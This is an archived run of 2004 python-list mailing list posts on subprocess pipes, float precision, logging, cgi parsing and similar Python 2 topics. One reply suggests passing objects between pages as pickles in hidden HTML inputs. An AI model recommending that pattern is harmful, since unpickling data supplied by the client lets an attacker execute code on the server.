1 > --- One branch of this question leads into Python's arithmetic and whether SIGFPE plays any role there. I sure don't know (I would have thought the FP stood for floating point, but anyway I see the effect isn't very different if I actually use floating point values.) Maybe someone who would know will read this thread despite the subject line. But even if a SIGFPE is in fact delivered to the interpeter as a rule on a divide by zero, at any rate the end result is a Python exception. If you execute the instructions directly, for example at the interpreter prompt, you'll get a traceback and notification, or whatever result the effective exception handler at the time gives you. You could expect an error (non-zero status) exit, from the default exception handler for a script, but not a termination signal. And I hope the documentation mentioned that you might use os.WTERMSIG() instead of the computation above - not that it's necessarily different, but it will be more reliable where layout of the signal value can change (it isn't the same on all UNIX-like platforms.) Donn Cave, donn at u.washington.edu From donn at u.washington.edu Fri Sep 17 19:25:37 2004 From: donn at u.washington.edu (Donn Cave) Date: Fri, 17 Sep 2004 16:25:37 -0700 Subject: popen4 hanging on write References: <191262adf5b4ad1fb774c45d66fabebc@localhost.talkaboutprogramming.com> Message-ID: In article <191262adf5b4ad1fb774c45d66fabebc at localhost.talkaboutprogramming.com>, "rinkworks" wrote: > I'm having trouble with Popen4 locking up on me. It appears to be > unrelated to the actual command I'm running, because I made the command > just "cat" (I'm on UNIX) to echo whatever input I sent it, and it's still > locking. The trick is, it works for small amounts of data. After roughly > 1.5K of input, it locks up and will not write any more data to the pipe. > I assume a buffer got full somewhere, and it's blocking the write call. > > Meanwhile, I can't read the output, because if I do that, that blocks, > too. > > Anybody know how to resolve this problem? Here is my current code: > > import popen2 > pipe = popen2.Popen4("cat") > pipe.tochild.write(data) > pipe.tochild.close() > output = pipe.fromchild.read() > print output You aren't the first person to encounter this problem, but it's rare to see it laid out so neatly. Try to put yourself in cat's place. You're connected to two pipes, one outbound and the other inbound, each of them with some fixed capacity. You also have your own internal I/O buffers, for input and output. Someone is writing data on the input pipe, so you read that data and copy it to output. Eventually, output fills up, because no one is reading it. The operating system puts you to sleep waiting for space there. At this point, there may be some data left in your input and output buffers, plus the contents of the output pipe. Soon if not already, the input pipe is full too, and the guy on the other end of it gets put to sleep. Now we're wedged. Somehow, you must find a way to take a break from writing, and read the data that's piling up in the output pipe. That's a little tricky, because if it happens that there isn't any data (or if you use fileobject read as above and you request more data than there is), you may get wedged again. The select function may help, and in this case you really need to use the posix I/O functions - os.read, os.write - with the file descriptor from fromchild.fileno(). It gets complicated. Popen4 is not an easy way to make two processes talk to each other except in very limited circumstances. If you can use disk files, do. Donn Cave, donn at u.washington.edu From adalke at mindspring.com Thu Sep 2 21:55:19 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Fri, 03 Sep 2004 01:55:19 GMT Subject: I think a problem occured when i used long() In-Reply-To: <56cfb0e3.0409021445.204b2e8b@posting.google.com> References: <8f17f4bc.0409011101.5ace996@posting.google.com> <56cfb0e3.0409011724.3e4c2111@posting.google.com> <7xisax8lbm.fsf@ruckus.brouhaha.com> <56cfb0e3.0409021445.204b2e8b@posting.google.com> Message-ID: Porky Pig Jr wrote: > Incidently, if I recall, the arguments against 'very high precision' > was coming from scientists (e.g. those dealing with quantum mechanics > issues) rather than from programmers. The main argument was that the > measuring tools' precision is soo well below 53bit precision available > as 'C double' that using anything higher than that will mistakenly > create the impression of 'very high precision of the experiment' - but > this is just it - *mistakenly*. Out of curiosity, I looked for the physical constant with the most precisely measured value. It looks to be the electron magn. moment to Bohr magneton ratio http://physics.nist.gov/cuu/Constants/Table/allascii.txt which is -1.001 159 652 1859 with error of 0.000 000 000 0038 That's 1 part in 10**13. So there are a few things which need that sort of precision. (53 bits is about 1 part in 10**16. 10**13 needs only 43 bits.) I also think GIS systems need enough precision so that single isn't good enough for large maps. 23 bits for a 32 bit float gives about a 4m resolution while 53 bits gives about a nm resolution. I did molecular mechanics, not QM, but I don't recall the QM people complaining about this issue. Andrew dalke at dalkescientific.com From carribeiro at gmail.com Mon Sep 13 14:48:41 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Mon, 13 Sep 2004 15:48:41 -0300 Subject: ANN:A wxHtmlWindow forms implementation. In-Reply-To: <1095099272.161418@news.commspeed.net> References: <1095057128.250036@news.commspeed.net> <1095099272.161418@news.commspeed.net> Message-ID: <864d37090409131148641f9070@mail.gmail.com> On Mon, 13 Sep 2004 11:04:22 -0700, Tom B. wrote: > I guess i forgot to mention it requires wxPython found at > http://www.wxpython.org/ , the wxHtmlWindow does not process or display form > tags from HTML pages this is an implimentation of that. You can see a > screenshot at http://users.commspeed.net/tbabbitt/rbranch_strangness5.htm I have wxPython here, I don't know if there is any module named Main in wxWindows 2.5. Are you sure that I don't need anything else? -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From tim.golden at viacom-outdoor.co.uk Thu Sep 23 05:01:55 2004 From: tim.golden at viacom-outdoor.co.uk (Tim Golden) Date: Thu, 23 Sep 2004 10:01:55 +0100 Subject: Access to MS SQL from Linux? Message-ID: [Joe Wong] | Thanks for the pointer, I just tried freetds with sybase | python, I can use | tsql to connect to MS SQL but the python library failed | | Sybase.DatabaseError: Msg 2, Level 5701, Line 1851877443 | | I am using MSSQL 2000 server, is this a problem? Unfortunately, I have no access to a Linux box at the mo, let alone the one I tested that setup on a while ago. However, just as reassurance, I connected with the Sybase and MSSQL modules to a 2000-database without any problems. It was by way of a proof-of-concept which never grew into anything else. I assume you followed all the build instructions (things like -DHAVE_FREETDS and so on)? Probably worth checking just to make sure, although I've no idea what the effect would be if you hadn't. If you get nowhere by investigation, either try the ODBC route to see if that works for you and/or talk to the guys at Object Craft to see if they can help. (Don't know if they actively monitor this list or not). TJG ________________________________________________________________________ This e-mail has been scanned for all viruses by Star. The service is powered by MessageLabs. For more information on a proactive anti-virus service working around the clock, around the globe, visit: http://www.star.net.uk ________________________________________________________________________ From godoy at ieee.org Tue Sep 28 08:34:46 2004 From: godoy at ieee.org (Jorge Godoy) Date: Tue, 28 Sep 2004 09:34:46 -0300 Subject: synchronize a block References: <2rqduhF1di4lmU1@uni-berlin.de> Message-ID: Peter Hansen writes: > Maybe, but then I get emails telling me I'm being rude. :-( If we send you emails telling you you're nice would you do that? :-) Maybe making a weekly "admin" post with guidelines and directions on where to look first is a good thing. All the people that are not interested on that can filter it out... Be seeing you, -- Godoy. From chrisks at NOSPAM.udel.edu Sun Sep 19 04:02:33 2004 From: chrisks at NOSPAM.udel.edu (Chris S.) Date: Sun, 19 Sep 2004 08:02:33 GMT Subject: Math errors in python In-Reply-To: References: <%fa3d.3867$%42.1942@trndny08> Message-ID: Peter Otten wrote: > Chris S. wrote: > > >>>Starting with Python 2.4 there will be the 'decimal' module supporting >>>"arithmetic the way you know it": > > >>Great, why fix what's broken when we can introduce a new module with an >>inconvenient API. > > > 1. It ain't broken. Call it what you will, it doesn't produce the correct result. From where I come from, that's either bad or broken. > 2. What fraction of the numbers in your programs are constants? What? From noone at here.com Thu Sep 16 20:40:15 2004 From: noone at here.com (M. Clift) Date: Fri, 17 Sep 2004 01:40:15 +0100 Subject: All together now, I'm a lumberjack References: Message-ID: Thanks Phil, I know of Lillypond, but I'm trying to find if anyone has done something similar in python or can tell me what I should be looking at to learn how to program an app to display notation. "Phil Frost" wrote in message news:mailman.3420.1095375879.5135.python-list at python.org... > I don't know about any python tools specifically, but if you are looking > to typeset music, be sure to look at the supurb and free lilypond > . > > On Thu, Sep 16, 2004 at 11:49:45PM +0100, M. Clift wrote: > > Hi All, > > > > Does anyone know of any python stuff related to music notation for windows? > > I'd eventually like to write some sort of notation program myself, but I am > > at a loss at knowing where to start. > > > > Would anyone know, do all notation programs work in a similar way to display > > music, and could someone give me an idea as to how they go about it. > > > > Thanks > > > > > > -- > > http://mail.python.org/mailman/listinfo/python-list From fuzzyman at gmail.com Mon Sep 27 05:40:22 2004 From: fuzzyman at gmail.com (Michael Foord) Date: 27 Sep 2004 02:40:22 -0700 Subject: How to parse multi-part content References: <2rjb2cF1b34ofU1@uni-berlin.de> <2rp5dmF1cgkbkU1@uni-berlin.de> Message-ID: <6f402501.0409270140.63eac29a@posting.google.com> Dave Kuhlman wrote in message news:<2rp5dmF1cgkbkU1 at uni-berlin.de>... > Tim Roberts wrote: > > > Dave Kuhlman wrote: > >> > >>Suppose that I have content that looks like what I've included at > >>the end of this message. Is there something in the standard > >>Python library that will help me parse it, break into the parts > >>separated by the boundary strings, extract headers from each > >>sub-part, etc? > >>... > >>In case you are curious, this is content posted to my Zope server > >>when I include an element '' in my form. > > > > Actually, you get this because your header has > > enctype="multipart/form-data". It happens that file upload only works > > with that enctype, but you can use it without a file upload. > > > > That's why cgi.py knows how to parse this. Look at cgi.parse_multipart. > > Ah. A clue. I think you're telling me that it's the CGI > specification that I need to be reading, right? I'll read some of > that. > > Per your suggestion, I tried cgi.parse_multipart() and also > class cgi.FieldStorage. They don't work. Or more correctly, I > don't know how to use them. > > I guess I'll have to concede defeat, which in Python-speak means: > "It was easier to write it myself." > > Basically, I wrote a little parser class ContentParser which > exposes a method get_content_by_name. This method returns the > body (what follows two carriage returns, up to the next > boundary line) for a given name, where name is the value of the > "name" field in the line: > > Content-Disposition: form-data; name="xschemaFile" > > I was in a bit of a hurry, so my solution (class ContentParser) is > not very elegant. But if anyone needs it, let me know. > > And, thanks for the suggestions. > > Dave If you are receiving this data to a python script on a server from an HTML form (i.e. a cgi) then it's striaghtforward to do. import cgi theform = cgi.FieldStorage() parses the contents of the form into a dictionary like object. The HTML form that posted the information will assign each file (or element of the form) a name. You can access the saved data ausing : thedata = theform['name].value Look under the cgi documentation for other attributes that uploaded files will have. (Potential pitfall with 'list values' as well, where several values have the same name - again see the docs to see ways round this). Regards, Fuzzyman http://www.voidspace.org.uk/atlantibots/pythonutils.html From vinay_sajip at yahoo.co.uk Sun Sep 26 06:20:36 2004 From: vinay_sajip at yahoo.co.uk (Vinay Sajip) Date: 26 Sep 2004 03:20:36 -0700 Subject: ANN: Logging Package v0.4.9.4 released References: <2e37dc1.0409230442.7e74543d@posting.google.com> <4edc17eb.0409232031.66ad3d4e@posting.google.com> Message-ID: <2e37dc1.0409260220.6ad5cb6c@posting.google.com> > The logging package is pretty good and pretty powerful. The problem is that > it is *too* powerful. I found out that in most of the situations I need > a very tiny subset of its functionalities. Months ago I studied it, > but now I have completely forgot it; I have discovered that > it takes me less time to write my own logging routines than to use the > logging module :-( What exactly is hard to use? An example of the minimalist way of logging: import logging logging.warn("This is your %s warning", "first") #similarly you can call logging.debug(), logging.info() etc. > Is there some plan to solve this "issue"? I mean, an easy to use interface > for the ones who just needs minimal logging facilities? Something easy to > remember? I know for sure that there is at least a Sourceforge project > about easy logging (I could found it googling on this newsgroup) but I > would like something standard included in the batteries. > Am I alone experiencing these difficulties? Perhaps if you can explain what it is about the minimal interface above which is hard to use or hard to remember, I can give you a more focused answer. Best regards, Vinay Sajip From elbertlev at hotmail.com Thu Sep 30 15:22:03 2004 From: elbertlev at hotmail.com (Elbert Lev) Date: 30 Sep 2004 12:22:03 -0700 Subject: thread execution order References: Message-ID: <9418be08.0409301121.1da50066@posting.google.com> "Axel Mittendorf" wrote in message news:... > "Rembrandt Q Einstein" wrote: > > I wouldn't do this with threads. I'd use select() or similar to see if > > the pipe is writable and if it isn't, buffer internally. > I thought about something like this too, but since I'm not allowed to > use some kinda timer to write out the pending data I can't it that way. > Therefor I wondered to use threads. > > THX, Axel Alex! In simular situations I use one writer thread and Queue per pipe/socket etc. Worker threads put messages into the queue and continue. Writer thread gets messages from the queue and writes them into the pipe. If pipe is full writer waits, but workers are operational. Writer thread is alive as long as the pipe exists. Queue is used as a buffer. Good luck. Lev. From cjblaine at gmail.com Fri Sep 17 17:46:26 2004 From: cjblaine at gmail.com (Jeff Blaine) Date: Fri, 17 Sep 2004 21:46:26 GMT Subject: Cannot get email package to work Message-ID: Python 2.3.4 for Windows Just trying a simple test today. I clicked on an email message in Mozilla 1.7.3's mail reader. I selected 'Save As' and saved it as the default type. I opened the file with Wordpad to examine it, and sure enough it looks like a complete email message with headers, newline, and body. >>> import email >>> myfd = open('c:/temp/my-work.eml') >>> msg = email.message_from_file(myfd) >>> msg >>> msg.get_all('From') >>> print msg From nobody Fri Sep 17 17:26:06 2004 >>> msg.keys() [] ? From godoy at ieee.org Mon Sep 13 13:08:35 2004 From: godoy at ieee.org (Jorge Godoy) Date: Mon, 13 Sep 2004 14:08:35 -0300 Subject: Ideas on self updating software? References: Message-ID: Jaime Wyant writes: > Can anyone give me some pointers on writing "self-updating" python > programs? I have an application that is almost ready for beta > testing. I want to be able to fix any bugs and push the updates out. You can try rsync'ing the differences from the installed software to your reference repository. Or you can 'cvs update' it, or use any other version management system. > I realize that I'll have to worry about *duplicates* in revisions. > That is version 0.3 may also update module 'c'. I'll figure that out > later. Keep things simple. You can version each module independently and create one with your systems version that is incremented each time an update is applied. So, this version module will be constantly increased and will show its version to your users when they ask for the version running -- remember to make it the last update, in case something fails... -- and the other modules will be updated independently. I would go for the CVS approach: each file is independently versioned and the product version is not limited or bound by the file version. > Okay, does this sound sound? =) Anyone have any other ideas on how > to tackle this? rsync seems to be the simpler approach... ;-) But, just issuing a warning about a new version seems to be the best thing, leave the updates for the user (actually, to another application activated by the user). -- Godoy. From drs at remove-to-send-mail-ecpsoftware.com Tue Sep 21 16:38:25 2004 From: drs at remove-to-send-mail-ecpsoftware.com (drs) Date: Tue, 21 Sep 2004 20:38:25 GMT Subject: How can I pass objects in a web page? References: <9f363ad9.0409201259.4bd0f945@posting.google.com> Message-ID: <5j04d.6328$yg.1901@twister.nyroc.rr.com> "Cliff Wells" wrote in message news:mailman.3606.1095716168.5135.python-list at python.org... > On Mon, 2004-09-20 at 13:59 -0700, Brian Bull wrote: * * * > > passing the object from one static page to another via a > > link. Is this possible? > > The web, being stateless, usually requires that you "rebuild the world" > with every mouse click. Depending upon what the objects are like, python provides the pickle module which allows for doing this without setting up a database. Simply have the first page embed a pickled object in a hidden input html tag that is sent back to the server for the object inspection screen. Not secure of course, and conceivably very slow for large objects*, but pretty easy to do. -d * for large objects, dump them to a file on the server and return some unique id instead of the whole object. From elainejackson7355 at home.com Mon Sep 27 15:59:10 2004 From: elainejackson7355 at home.com (Elaine Jackson) Date: Mon, 27 Sep 2004 19:59:10 GMT Subject: open and shut case References: <41582214.1080708@heneryd.com> <180m22-p11.ln1@lairds.us> Message-ID: My need couldn't be less urgent. My cat just died and I can't even begin to get interested in fiddling with the computer right now. Peace "Cameron Laird" wrote in message news:180m22-p11.ln1 at lairds.us... | In article , | Erik Heneryd wrote: | >Erik Heneryd wrote: | >> Dennis Lee Bieber wrote: | >> | >>> On Sun, 26 Sep 2004 16:55:48 GMT, "Elaine Jackson" | >>> declaimed the following in | >>> comp.lang.python: | >>> | >>> | >>>> "Cameron Laird" wrote in message | >>>> news:nf1i22-7hd.ln1 at lairds.us... | >>>> | Did this [some snipped code] meet your needs, Ms. Jackson? | >>>> | >>>> Here's what it does: | >>>> | >>>> | >>>>>>> import os, win32api | >>>>>>> pid = os.spawnlp(os.P_NOWAIT, "iexplore.exe", | >>>> | >>>> | >>>> "iexplore.exe",r"c:\blabla\hej.html") | >>>> | >>>> Traceback (most recent call last): | >>>> File "", line 1, in -toplevel- | >>>> pid = os.spawnlp(os.P_NOWAIT, "iexplore.exe", | >>>> "iexplore.exe",r"c:\blabla\hej.html") | >>>> AttributeError: 'module' object has no attribute 'spawnlp' | >>>> | >>> | >>> | >>> It seems the spawn family doesn't have the "search in PATH" | >>> option... os.execlp does exist, but likely doesn't do what you want | >>> either... | >>> | >> | >> It does, see http://docs.python.org/lib/os-process.html. | >> exec* replaces the current process, so you can't use that if you expect | >> it to return. I can't see why my code shouldn't work (though I'm not on | >> a Windows box so I can't test it). | > | >Forget about it. I just actually read the spawn* docs: | > | >Availability: Unix, Windows. spawnlp(), spawnlpe(), spawnvp() and | >spawnvpe() are not available on Windows. New in version 1.6. | . | . | . | This is silly. Ms. Jackson has asked for an *extremely* basic | technique. I don't have a Win* keyboard within reach, and am | reluctant to speculate, at this point. I'm certain, though, | that her question has multiple simple answers. Ms. Jackson, | how urgent is your need? Does someone else want to chip in | with conclusive information? From peter at engcorp.com Wed Sep 15 18:53:00 2004 From: peter at engcorp.com (Peter Hansen) Date: Wed, 15 Sep 2004 18:53:00 -0400 Subject: Rotating lists? In-Reply-To: References: Message-ID: Ivan Voras wrote: > I need to transform this: > [1,2,3] > into this: > [2,3,1] > > Right now, I'm doing > it with a temporary variable and it looks ugly - is there an elegant way > of doing it? >>> l = range(1, 4) >>> l [1, 2, 3] >>> import itertools >>> list(itertools.islice(itertools.cycle(l), 1, len(l)+1)) [2, 3, 1] That is, build an iterator that cycles over l indefinitely, then take a slice of it starting x items in (where x==1 in this case) and continuing until you've retrieved a number of elements equal to the length of the original sequence. -Peter From ksenia at ksenia.nl Tue Sep 28 17:30:23 2004 From: ksenia at ksenia.nl (Ksenia Marasanova) Date: Tue, 28 Sep 2004 23:30:23 +0200 Subject: Using python to convert PDF document to MSWord documents In-Reply-To: References: <20040928161317.88987.qmail@web8401.mail.in.yahoo.com> Message-ID: <9B732DE0-1195-11D9-8AD4-000A957911BC@ksenia.nl> >> From: JEET >> Can anyone please suggest me if there any python modules available to >> convert PDF document to MSWord documents. If not then can you please >> suggest how can i acheive this. > > No python modules, but: > - feeding the subject line to google brings some sponsored links that > claim to solve your problem > - http://www.quiss.org/swftools/ has a tool to convert PDF to Flash, > so there must be some code to detect Text, Fonts etc. > Pdf2swf is based on xpdf (http://www.foolabs.com/xpdf). Another tool, that is also based on xpdf, is pdftohtml (http://pdftohtml.sourceforge.net/). It can convert pdf to html (using absolute CSS positioning) or to xml. I don't know if there is any rtf or Word writers in Python, but in the previous VB life I programmed a simple Word macro that would open HTML page and save it as .doc document. It was the most easy way to get all images embedded and formatting correctly done. Don't know, however, how it will handle absolute positioning. Another possible option is to convert PDF to PS format, and than use pstoedit (http://www.pstoedit.net/pstoedit) with shareware RTF plugin mentioned on that page. Don't have any experience with this option. Ksenia. From bvdp at uniserve.com Tue Sep 21 14:01:19 2004 From: bvdp at uniserve.com (Bob van der Poel) Date: Tue, 21 Sep 2004 11:01:19 -0700 Subject: MMA - Musical MIDI Accompaniment Message-ID: <10l0s3t4r6boqb6@corp.supernews.com> I'm pleased to announce the release of my program mma - Musical MIDI Accompaniment version: Beta 0.11 MMA is a accompaniment generator -- it creates midi tracks for a soloist to perform over from a user supplied file containing chords and MMA directives. MMA is very versatile and generates excellent tracks. It comes with an extensive user-extendable library with a variety of patterns for various popular rhythms, an extensive user manual, and several demo songs. MMA is a command line driven program. It creates MIDI files which need a sequencer or MIDI file play program. MMA is written in Python. You'll need Python 2.3 (or later) for MMA to function. MMA is supplied in 4 tar.gz archives. Included: mma-bin -- the main script and library files. mma-html -- documentation in HTML format. mma-pdf -- documentation in PDF format. mma-songs -- a collection of about 120 songs in MMA format. If you get all four download packages the total size is still less than 1.5 megabytes. MMA is currently in BETA. We are looking for lots of help in debugging the program, creating songs for distribution, and new and improved library files. Best of all, MMA is free. It is released under the terms of the GNU General Public License. It has been developed on a Linux platform, but should be usable on just about any system. A detailed page now exists on our web site on how-to install on a Windows system. MMA is available on my personal home page: http://mypage.uniserve.com/~bvdp/mma/mma.html If you have any questions or comments, please send them to: bvdp at uniserve.com Beta 0.11: Lots of new MIDI commands (MIDIVoice, MIDISeq and MIDClear) permit fine control in library files. VoiceTR command to change voicing between synths. UNIFY command for better sustained chords. General clean ups, etc. Web page has Windows installation instructions. Comments appreciated! -- Bob van der Poel ** Wynndel, British Columbia, CANADA ** EMAIL: bvdp at uniserve.com WWW: http://mypage.uniserve.com/~bvdp From cpl.19.ghum at spamgourmet.com Wed Sep 15 06:05:43 2004 From: cpl.19.ghum at spamgourmet.com (Harald Massa) Date: Wed, 15 Sep 2004 10:05:43 +0000 (UTC) Subject: up with PyGUI! References: Message-ID: Zooko > Python programmers: use PyGUI! It's nice. Contribute bug reports and > so forth. as I understand from the website, it looks quite similiar to "anygui" which was a very nice idea, that also ... kept being a nice idea. I suspect that Frameworks have to be in active use AND development for at least 4 years before considering them for the standard lib is of any use for anybody. Harald From donn at u.washington.edu Thu Sep 9 15:48:40 2004 From: donn at u.washington.edu (Donn Cave) Date: Thu, 09 Sep 2004 12:48:40 -0700 Subject: my own type in C, sequence protocol References: Message-ID: In article , Torsten Mohr wrote: > i created a new type and implemented the sequence protocol > for it, or to be more precise the functions to get the > sequence length, to read a value and to assign a value > to an item. > > Now i thought i could assign values to my type like > this: > > m = myType(); > m = [ 1, 2, 3]; > > I have to admit that i'm not really experienced in python. > > Now that i have implemented the sequence protocol, what > can i do with it, can't i assign values like above somehow? Nope. The expression [1, 2, 3] evaluates to a list, as in listobject. m = [1, 2, 3] binds the name "m" to this object. Its prior binding to your myType() instance doesn't matter. If you're new to Python, it's lucky you ran into this so early, because this business about names and objects is an important difference between Python and, for example, C++. You might want your type's init function to accept a sequence, to copy for an initial value, as in m = myType([1, 2, 3]) Donn Cave, donn at u.washington.edu From oriana.falco at thalesesec.com Thu Sep 9 14:48:17 2004 From: oriana.falco at thalesesec.com (Oriana) Date: 9 Sep 2004 11:48:17 -0700 Subject: Regular Expressions Problem Message-ID: <808f000f.0409091048.36488ec5@posting.google.com> Hi! I'm trying to 'clean up' this source file using regular expressions in Python. My problem is, that when I try to delete extra lines, my code fails. Here's an example.... /** * * Project: MyProject * * * * * * * * Description: * * This file contains the some code. * * Public Functions: * * function_1 * function_2 * * Private Functions: * * None. * * * Notes: * * None. * * * *************************************************************************/ .....I would like my code to only have one * space between lines, and not all that white space that I see there. I tried to use the regular expression: '^\*\n$^\*\n$' but that does not work. I've tried a bunch of things and none of them seem to work....please help!!! Thanks in advance, Oriana From richie at entrian.com Thu Sep 2 10:15:30 2004 From: richie at entrian.com (Richie Hindle) Date: Thu, 02 Sep 2004 15:15:30 +0100 Subject: about presicion In-Reply-To: References: <1gjfjq0.1bpe86xzyakjcN%aleaxit@yahoo.com> Message-ID: [David] > Note the "static-link" part. I don't believe the free compiler comes > with support for building dynamically linked (to the C library) > applications, which is what Python extensions are. It doesn't directly support the runtime DLL because it doesn't ship with the import library for it, but the import library is available as part of the .NET Framework SDK. Mike Fletcher has a HOWTO here: http://www.vrplumber.com/programming/mstoolkit/index.html which says "This document describes the process of building Python 2.4 binary extensions with the (free) Microsoft Visual C++ Toolkit Compiler." -- Richie Hindle richie at entrian.com From spam at mouse-potato.com Thu Sep 2 16:27:25 2004 From: spam at mouse-potato.com (Pascal Bourguignon) Date: 02 Sep 2004 20:27:25 +0000 Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch> <87hdqptl96.fsf_-_@thalassa.informatimago.com> <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <1094141001.125507@teapot.planet.gong> Message-ID: <874qmgifgy.fsf@thalassa.informatimago.com> "Karl A. Krueger" writes: > When you consider that the first Macs to run OS X were several hundred > times faster than the 1984 Mac, had one thousand times as much RAM, and > had fifty thousand times as much mass storage, it should follow pretty > naturally that the constraints of the old system's design would cease to > be appropriate. Yes, but the first NeXTcube or NeXTstation were not much more powerfull than even the original Macintosh. In anycase, at the time the Macintosh appeared, there were already 680x0 based unix workstations. > 1984 Original Macintosh: 128kB RAM, 8 MHz 68000, 400 kB disk 1989 low end NeXTcube: 128MB RAM, 25 MHz 68030, 256 MB optical disk! > 1999 Power Macintosh G4: 128MB RAM, 400MHz PPC G4, 20 GB disk NeXTstep could have run on a MacIIfx (The TI Explorer ran on a MacIIfx). -- __Pascal Bourguignon__ http://www.informatimago.com/ Our enemies are innovative and resourceful, and so are we. They never stop thinking about new ways to harm our country and our people, and neither do we. "I don't think it* can be won." (*):the war on terror. From aleaxit at yahoo.com Tue Sep 21 04:00:42 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 21 Sep 2004 10:00:42 +0200 Subject: Floating-point glitches with the math module. Bug? Or am I missing something? References: Message-ID: <1gkgj92.1waraaq192k51nN%aleaxit@yahoo.com> Chris Metzler wrote: > On Mon, 20 Sep 2004 19:03:57 -0500, Jeff Epler wrote: > > > > Incidentally, the second part of your expression goes to 0 here, with > > the given values: > > Yeah, I noticed this later (it's sorta implicit in the content of my > other, followup post). > > This kinda sucks because I need to do some precision surveying calcs > -- computing lat/lons for a variety of points separated by known > distances and angles from a point of known lat/lon. If I do everything > in spherical trig, I run into this issue (that whole dividing-by-earth > -radius thing). But if I do things using planar approximations, for > most of the points I get lat/lons that are too far off from where they > should be. I wonder if IBM's Accurate Portable Math Library might help you: they guarantee precision to the ULP for any function they offer, and of course you could talk to it from Python via ctypes, pyrex, swig, ... (haven't tried it out myself, though). APMathlib's download page is at: If IEEE 754's precision just ain't enough for you, welcome to the wonderful but slow world of multi-precision arithmetic!-) GMP (which gmpy wraps) doesn't do transcendentals. MPFR, I believe, does, but I know of no Python interface for it. Still, check out their page, it's full of useful links -- -- worst case, you can use gmpy and program the transcendentals you need as per the various well-known series, etc... but you're likely to be able to find something more direct if you look around a little! Alex From maurizio437 at hotmail.com Sat Sep 25 13:06:01 2004 From: maurizio437 at hotmail.com (Maurizio Berlusconi) Date: Sat, 25 Sep 2004 19:06:01 +0200 Subject: recover a partly destroyed pickled structure Message-ID: Hi all I have (my mistake) overwritten the beginning of a file where a long dictionary was pickled with another (pickled and much smaller) dictionary. Since only 10% or so of the original and important data was overwritten, I would be happy if I could somehow recover at least the part that I can still see. The situation is now the following. If I open the file in vi I can see : (dp0 S'011' p1 (dp2 S'profile' p3 (lp4 F3.125 aF5.625 aF8.59375 ... #uninteresting data ... p460 sg36 g6 sg37 S'0:00' p461 sg39 (lp462 sg41 g6 ss. #after that line starts the data I need aF10.0 aF10.3125 aF8.125 aF4.84375 aF4.21875 aF5.9375 ....# all data is here until the end g4 sg215 S'12:26' p3376 ss. # end of old important data Can anybody give an indication on how to do that? I tried to understand how pickle puts these numbers on the different fields and remove the unimportant beginning of the file to replace it with something that would allow to unpickle the data, but did not really succeed. Read the source (and understand it) is far beyond my python skills... Any hint or pointer would be appreciated. Regards, Maurizio From fumanchu at amor.org Wed Sep 22 15:55:45 2004 From: fumanchu at amor.org (Robert Brewer) Date: Wed, 22 Sep 2004 12:55:45 -0700 Subject: Divisions of labor Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022EFB@exchange.hqamor.amorhq.net> Cameron Laird: > This still leaves open the question of precisely what the > alternative is--to have eager debugger-savvy friends? I > think there's more to it. I'll likely return to this. Jeremy Jones: > Is it possible that this is a case of "what you don't know, > you don't know that you don't know"? Meaning, if you aren't > (in this case) a debugger guru, you don't know how much (more) > you would use the debugger for non-catastrophic bugs and how > much more productive it would make you (again, for non-cata- > strophic bugs, or things that aren't even bugs)? All of > programming isn't debugging... True. Further, not all debugging is using a debugger. Far from it. Read http://samizdat.mines.edu/howto/HowToBeAProgrammer.pdf for an introduction to other aspects of debugging. I'd say the more important aspects of "learning how to debug" are not which technique you use. I've used logging, printlining, and debuggers quite a bit. Printlining is my quick and dirty technique of choice while the product is in beta or below. This includes letting exceptions propagate outward to get stack traces printed. I only reach for pdb (or other debugger) in multi-layered programs where I'm trying to quickly isolate the layer responsible for a bug. That usually only happens when there's _no_ response from the running code (endless loops, for example). Once I've isolated the problem area, it's usually back to printlining if the solution isn't immediately obvious. But once you release, USE LOGGING. Robert Brewer MIS Amor Ministries fumanchu at amor.org From aleaxit at yahoo.com Mon Sep 6 03:24:05 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 6 Sep 2004 09:24:05 +0200 Subject: Linux application deployment References: <413B2D73.3010106@cs.com> Message-ID: <1gjop9c.1sw65nmxbjrz4N%aleaxit@yahoo.com> Robert M. Emmons wrote: ... > One thing I've always wonders was -- Is there a way for a python module > to tell where it's file is located??? If you could do this it might Piece of cake: the key part of this recipe is def whereami(): return sys.modules[__name__].__file__ then you can os.path.abspath this filename string as you wish. Here's a more complete example foo.py: #!/usr/bin/env python import sys, os def whereami(): return os.path.abspath(sys.modules[__name__].__file__) if __name__ == '__main__': print whereami() Put this anywhere on your $PATH, chmod +x it, and try out what you see by executing it as the main script from various locations... should work pretty reliably. > also be possible to have a python script reset sys.path based on it's > own location. Sure, that shouldn't be impossible. Alex From lynn at garlic.com Fri Sep 3 19:40:26 2004 From: lynn at garlic.com (Anne & Lynn Wheeler) Date: Fri, 03 Sep 2004 17:40:26 -0600 Subject: Xah Lee's Unixism References: <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <41376B82.C6A202FC@yahoo.com> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> Message-ID: Alan Balmer writes: > I don't really know what imagination has to do with the question. I > can imagine it being carved into 1277 pieces, but won't offer that > as a meaningful argument. > > Here in Arizona, we recently had a transformer delivered. On a > 800,000 pound, 280 foot long rig. By highway. No barges involved. > > As for the reference to Hatch, that's exactly what the OP was > writing about. > > I apologize for not having the time to read and research your > comments properly, so if it seems that I'm just picking on your > logic, or lack thereof, you are correct. my uncle moved houses ... i helped on maybe a dozen or so ... needed special permits ... and wide load escorts ... and carefully planned routes ... frequently for relatively controlled distances. if you choose your road routes carefully enuf ... you can miss a lot of the problems that you would run into moving by train. we had one route where i was on the peak of the house and had to grab wires over the side .... lift the wires up to clear 